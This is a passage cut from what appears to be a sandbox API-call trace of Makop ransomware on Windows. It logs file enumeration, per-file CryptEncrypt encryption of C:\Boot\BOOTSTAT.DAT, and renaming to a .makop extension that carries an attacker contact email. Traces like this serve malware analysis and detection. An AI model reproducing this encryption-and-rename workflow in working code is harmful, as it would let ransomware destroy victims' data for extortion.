cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0061.338] CloseHandle (hObject=0xc4) returned 1 [0061.339] GetFileType (hFile=0x128) returned 0x1 [0061.339] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.340] CloseHandle (hObject=0x128) returned 1 [0061.340] GetFileType (hFile=0xc4) returned 0x1 [0061.340] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0061.341] CloseHandle (hObject=0xc4) returned 1 [0061.341] GetFileType (hFile=0x128) returned 0x1 [0061.341] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.342] CloseHandle (hObject=0x128) returned 1 [0061.342] GetFileType (hFile=0xc4) returned 0x1 [0061.342] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0061.343] CloseHandle (hObject=0xc4) returned 1 [0061.343] GetFileType (hFile=0x128) returned 0x1 [0061.343] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.344] CloseHandle (hObject=0x128) returned 1 [0061.344] GetFileType (hFile=0xc4) returned 0x1 [0061.345] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0061.345] CloseHandle (hObject=0xc4) returned 1 [0061.346] GetFileType (hFile=0x128) returned 0x1 [0061.346] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.347] CloseHandle (hObject=0x128) returned 1 [0061.347] GetFileType (hFile=0xc4) returned 0x1 [0061.347] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0061.348] CloseHandle (hObject=0xc4) returned 1 [0061.348] GetFileType (hFile=0x128) returned 0x1 [0061.348] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0061.349] CloseHandle (hObject=0x128) returned 1 [0061.350] GetFileType (hFile=0xc4) returned 0x1 [0061.350] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0061.351] CloseHandle (hObject=0xc4) returned 1 [0061.351] GetFileType (hFile=0x128) returned 0x1 [0061.351] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0061.494] CloseHandle (hObject=0x128) returned 1 [0061.494] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x9f8) returned 0x128 [0061.494] GetCurrentProcess () returned 0xffffffff [0061.494] DuplicateHandle (in: hSourceProcessHandle=0x128, hSourceHandle=0x7c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x657b960, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x657b960*=0xc4) returned 1 [0061.495] CloseHandle (hObject=0x128) returned 1 [0061.495] GetFileType (hFile=0xc4) returned 0x1 [0061.495] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0061.496] CloseHandle (hObject=0xc4) returned 1 [0061.497] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xa24) returned 0x0 [0061.497] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xa24) returned 0x0 [0061.497] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xa24) returned 0x0 [0061.497] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xa24) returned 0x0 [0061.497] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xa68) returned 0x0 [0061.498] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xa68) returned 0x0 [0061.498] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xa68) returned 0x0 [0061.498] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb84) returned 0x0 [0061.498] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb84) returned 0x0 [0061.498] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb84) returned 0x0 [0061.498] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb84) returned 0x0 [0061.499] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb84) returned 0x0 [0061.499] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb84) returned 0x0 [0061.499] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb84) returned 0x0 [0061.499] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb84) returned 0x0 [0061.499] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb84) returned 0x0 [0061.499] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb84) returned 0x0 [0061.500] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb84) returned 0x0 [0061.500] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb84) returned 0x0 [0061.500] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x2a8) returned 0xc4 [0061.500] GetCurrentProcess () returned 0xffffffff [0061.500] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xc, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x657b960, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x657b960*=0x128) returned 1 [0061.500] CloseHandle (hObject=0xc4) returned 1 [0061.500] GetFileType (hFile=0x128) returned 0x1 [0061.501] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0061.502] CloseHandle (hObject=0x128) returned 1 [0061.502] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x2a8) returned 0x128 [0061.502] GetCurrentProcess () returned 0xffffffff [0061.502] DuplicateHandle (in: hSourceProcessHandle=0x128, hSourceHandle=0x5c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x657b960, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x657b960*=0xc4) returned 1 [0061.503] CloseHandle (hObject=0x128) returned 1 [0061.503] GetFileType (hFile=0xc4) returned 0x0 [0061.503] CloseHandle (hObject=0xc4) returned 1 [0061.503] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x2a8) returned 0xc4 [0061.503] GetCurrentProcess () returned 0xffffffff [0061.503] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x12c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x657b960, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x657b960*=0x128) returned 1 [0061.503] CloseHandle (hObject=0xc4) returned 1 [0061.503] GetFileType (hFile=0x128) returned 0x1 [0061.504] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9") returned 0x74 [0061.505] CloseHandle (hObject=0x128) returned 1 [0061.505] GetProcessHeap () returned 0x48a0000 [0061.505] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x6580020 | out: hHeap=0x48a0000) returned 1 [0061.508] Sleep (dwMilliseconds=0xa) [0061.758] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0061.758] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0061.759] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0061.759] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0061.759] wsprintfW (in: param_1=0x657d4f0, param_2="%s\\%s" | out: param_1="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0061.759] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0061.797] GetProcessHeap () returned 0x48a0000 [0061.797] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0061.797] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0061.797] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca48 | out: lpNewFilePointer=0x0) returned 1 [0061.797] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7068) returned 1 [0061.798] CryptSetKeyParam (hKey=0x48c7068, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0061.798] GetProcessHeap () returned 0x48a0000 [0061.798] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0061.798] CryptEncrypt (in: hKey=0x48c7068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657ca10*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657ca10*=0x40) returned 1 [0061.798] CryptDestroyKey (hKey=0x48c7068) returned 1 [0061.798] WriteFile (in: hFile=0x128, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657ca28*=0x40, lpOverlapped=0x0) returned 1 [0061.802] WriteFile (in: hFile=0x128, lpBuffer=0x657ca30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca30*, lpNumberOfBytesWritten=0x657ca28*=0x4, lpOverlapped=0x0) returned 1 [0061.802] WriteFile (in: hFile=0x128, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657ca28*=0x10, lpOverlapped=0x0) returned 1 [0061.802] WriteFile (in: hFile=0x128, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657ca28*=0x80, lpOverlapped=0x0) returned 1 [0061.802] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca50 | out: lpNewFilePointer=0x0) returned 1 [0061.803] WriteFile (in: hFile=0x128, lpBuffer=0x657ca40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca40*, lpNumberOfBytesWritten=0x657ca28*=0x8, lpOverlapped=0x0) returned 1 [0061.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7068) returned 1 [0061.803] CryptSetKeyParam (hKey=0x48c7068, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0061.803] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.803] ReadFile (in: hFile=0x128, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x657ca34, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657ca34*=0x10000, lpOverlapped=0x0) returned 1 [0061.809] CryptEncrypt (in: hKey=0x48c7068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657ca10*=0x10000, dwBufLen=0x10000 | out: pbData=0x6370020*, pdwDataLen=0x657ca10*=0x10000) returned 1 [0061.810] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.810] WriteFile (in: hFile=0x128, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657ca28*=0x10000, lpOverlapped=0x0) returned 1 [0061.811] CryptDestroyKey (hKey=0x48c7068) returned 1 [0061.811] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x100d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.811] SetEndOfFile (hFile=0x128) returned 1 [0061.819] GetProcessHeap () returned 0x48a0000 [0061.819] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0061.819] GetProcessHeap () returned 0x48a0000 [0061.898] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0061.898] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Boot\\BOOTSTAT.DAT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 67 [0061.898] MoveFileW (lpExistingFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="C:\\Boot\\BOOTSTAT.DAT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\boot\\bootstat.dat.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0061.907] CloseHandle (hObject=0x128) returned 1 [0061.907] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0061.907] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\cs-CZ") returned 13 [0061.907] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\cs-CZ\\*.*") returned 17 [0061.907] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0061.908] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.908] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0061.908] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0061.908] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0061.909] GetLastError () returned 0x5 [0061.909] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0061.909] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0061.910] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0061.910] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\da-DK") returned 13 [0061.910] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\da-DK\\*.*") returned 17 [0061.910] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0061.910] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.910] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0061.910] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0061.911] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0061.945] GetLastError () returned 0x5 [0061.945] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0061.945] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0061.946] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0061.946] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\de-DE") returned 13 [0061.946] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\de-DE\\*.*") returned 17 [0061.946] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0061.946] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.946] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0061.947] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0061.947] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0061.947] GetLastError () returned 0x5 [0061.947] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", 